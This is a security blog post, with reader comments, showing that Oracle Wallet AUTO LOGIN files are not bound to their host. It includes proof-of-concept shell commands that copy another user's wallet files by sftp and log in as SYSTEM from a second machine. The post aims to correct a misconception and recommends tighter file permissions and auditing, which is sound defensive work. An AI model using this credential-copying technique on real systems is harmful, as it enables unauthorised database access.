Three Tier Oracle Security in London ~ Paul M. Wright

(nix, oracle, java, www, cloud ) intersect (safety, security, reliability, integrity)

Three Tier Oracle Security in London ~ Paul M. Wright RSS Feed
 

Oracle Wallet AUTO LOGIN ~ common misconception corrected

Hello Oracle Security interested people,

The generic problem of how to automatically invoke an SQL script remotely whilst keeping the password secret from other users of the client OS, is not as trivial as it may at first sound.

Consider the common scenario where an SQL script is currently ran from SQL*PLUS invoked from a shell script on a UNIX client host to a seperate database server.

The DBAs and the security team identify that the plaintext DB password in the shell script on the client host is a security risk as many users on the source OS can read the shell script with the hardcoded password, and could therefore use that password to logon from a different machine and run their own commands as that user.

One answer to this problem is to instead invoke the script using the Oracle Wallet with Auto Login enabled as the password for the DB will then be encrypted in the Wallet.

However I have experienced a general misconception amongst DBAs and Security Engineers regarding the actual security posture of using this feature in that way.
The security of the Oracle Wallet is only file-based, so if an attacker can still read the wallet they can login as that user from a different machine by copying over the contents of the Wallet without having to supply the password.

Thus the security of the Wallet for invoking scripts remotely is not that much better than the original plaintext password stored in the shell script invoking SQL*PLUS, because BOTH METHODS DEPEND ON OS FILE AND DIRECTORY PERMISSIONS FOR THEIR SECURITY!

The widespread misconception is that the Oracle Wallet is bound to it’s host, which is incorrect. This misconception represents a security issue which this article will clear up.

So here is some PoC code to show that the Oracle wallet can be copied to another Machine B and used to login without knowledge of the original encrypted password.

First let’s set up the Oracle Wallet on Machine A which represents the legitimate original host for the script.

-- add the sqlnet.ora configuration line
[oracle@machineA admin]$ vi /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/sqlnet.ora
WALLET_LOCATION =
   (SOURCE =
     (METHOD = FILE)
     (METHOD_DATA =
       (DIRECTORY = /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin)
     )
   )

SQLNET.WALLET_OVERRIDE = TRUE
SSL_CLIENT_AUTHENTICATION = FALSE
SSL_VERSION = 0

--create the wallet itself giving a location for the files as per sqlnet.ora above and with a master password for the whole wallet
[oracle@machineA admin]$ mkstore -wrl "/u01/app/oracle/oracle/product/10.2.0/db_4/network/admin" -create

Enter password:

Enter password again:

--add the oracle DB account credentials which are referred to later by the alias orcl2
[oracle@machineA admin]$ mkstore -wrl "/u01/app/oracle/oracle/product/10.2.0/db_4/network/admin" -createCredential orcl2 system lowsec11

Enter wallet password:    
       
Create credential oracle.security.client.connect_string1

--logon using the slash / connect internal syntax referencing the tnsnames alias which automatically maps to the wallet credential above.
[oracle@machineA admin]$ sqlplus /@orcl2
SQL*Plus: Release 10.2.0.4.0 - Production on Sat Apr 10 21:30:21 2010
Copyright (c) 1982, 2007, Oracle.  All Rights Reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL>
 

–Right, so the Oracle Wallet has been successfully setup and used to connect as system/lowsec11 to a remote DB named orcl2 from Machine A

–But the Attacker has read on the victim’s Wallet on A and wishes to login as the victim to the DB server from the Attacker’s Machine B and then run their own SQL commands.
The Attacker firsts create a dummy wallet on MachineB. So the attacker edits their sqlnet.ora file on MachineB to include the path to their Wallet files. N.B in the example below I have used the same OS username and paths on Machine B as per Machine A but this is not actually required as the Oracle Wallet makes no check as to the OS username or path in which it is located to access the AUTO LOGIN feature. Authentication is literally based on possession of the .sso file.

[oracle@machineB admin]$ vi /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/sqlnet.ora

WALLET_LOCATION =
   (SOURCE =
     (METHOD = FILE)
     (METHOD_DATA =
       (DIRECTORY = /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin)
     )
   )

SQLNET.WALLET_OVERRIDE = TRUE
SSL_CLIENT_AUTHENTICATION = FALSE
SSL_VERSION = 0

[oracle@machineB admin]$ mkstore -wrl "/u01/app/oracle/oracle/product/10.2.0/db_4/network/admin" -create
Enter password:

Enter password again:

--Then copy over the cert files from Machine A To Machine B

[oracle@machineB admin]$ sftp oracle@192.168.1.201
sftp> pwd
Remote working directory: /home/oracle
sftp> cd /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/
sftp> ls
cwallet.sso      ewallet.p12      listener.ora     samples          shrept.lst       sqlnet.ora 
tnsnames.ora     
sftp> get *wallet*.*
Fetching /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/cwallet.sso to cwallet.sso
/u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/cwallet.sso                                   100% 8308     8.1KB/s   00:00    
Fetching /u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/ewallet.p12 to ewallet.p12
/u01/app/oracle/oracle/product/10.2.0/db_4/network/admin/ewallet.p12                                   100% 8280     8.1KB/s   00:00    
sftp>
sftp> exit

[oracle@machineB admin]$ sqlplus /@orcl2

SQL*Plus: Release 11.2.0.1.0 Production on Sat Apr 10 23:30:30 2010

Copyright (c) 1982, 2009, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL>

All the attacker needs is read on the target Wallet and the alias used for the DB which is in the source script or tnsnames.ora. So to reiterate ~ the security of the Oracle Wallet is dependent on the OS file permissions and is not bound to the machine ~ i.e. not that much better than the security posture of the original hardcoded password. The solution to the original problem is to more tightly control OS access to the directory where the script lives. Also a uniquely named DB account specifically for that script would help to alert to the accounts credentials becoming more widely known. Additionally OS and DB auditing should be used to verify that the controls have been effective. More on how to setup this audit trail securely in an upcoming article as well as the second part of the Java Forensics in Oracle article.

Cheers,
Paul

6 Responses to “Oracle Wallet AUTO LOGIN ~ common misconception corrected”

  1. 1
    JJ:

    Is this a bug or is it meant to work like in this way?

  2. 2
    Paul Wright:

    Hi JJ,
    The Documentation eludes to the fact that OS privileges control the security of the Wallet but I have not seen this stated specifically with relevance to the AUTO LOGIN facility.
    It is not a bug IMO but is a widely misunderstood feature.
    More to come on this..in a later post.
    Cheers,
    Paul

  3. 3
    Dave Milne:

    If one is in a multi-tierd environment and only sysadmins and dbas have access to the node where the wallet resides, then wouldn’t this be better than plain (clear-text) passwords in an application or a script? (–assumes that the sysadmins and dbas would be trusted)

  4. 4
    Chris:

    Is there anyway we can get Wallet to interface with a HSM or similar using PKCS#11?

  5. 5
    Paul Wright:

    Hi Chris,
    Interesting question.
    From the docs we can see that Oracle say..
    http://download.oracle.com/docs/cd/B19306_01/network.102/b14268/asowalet.htm
    “You can use Oracle Wallet Manager to perform … Saving credentials to hardware security modules, by using APIs that comply with the Public-Key Cryptography Standards #11 (PKCS #11) specification”.
    So the answer is yes… but access to the wallet files would still need to be restricted to those authorised ~ by OS access control. HTH.
    Regards,
    Paul

  6. 6
    Paul Wright:

    Hi Dave,
    Excellent question.
    The scenario I had in mind in the posting was in the context of internal security, when trying to maintain individual accounts, whilst using the Oracle Wallet as a client side logon tool.
    IMO similar principles apply to the scenario of an app using the Wallet to access a DB in that.. encrypting the password should not be the top priority. Restricting access to the password file should be the priority.
    If a user can access either the encrypted password or the plaintext they can logon as the user by copying the wallet. After access is restricted encrypting will add more security on top, but is close to useless without the former.
    It will depend on how well the application is secured as to whether this is a concern in three tier environment.
    Regarding internal security, in my experience nearly all DBAs are trustworthy. What is of concern is protecting the DBAs privilege from unauthorised users from outside the DBA team, who have gained access internally or externally to a DBA account.
    I have examples of this happening so it is a real concern, problem is that it is often not brought to our attention until it is too late… so best to lower the risk and take precautions beforehand. HTH
    Regards,
    Paul

Leave a Reply

You must be logged in to post a comment.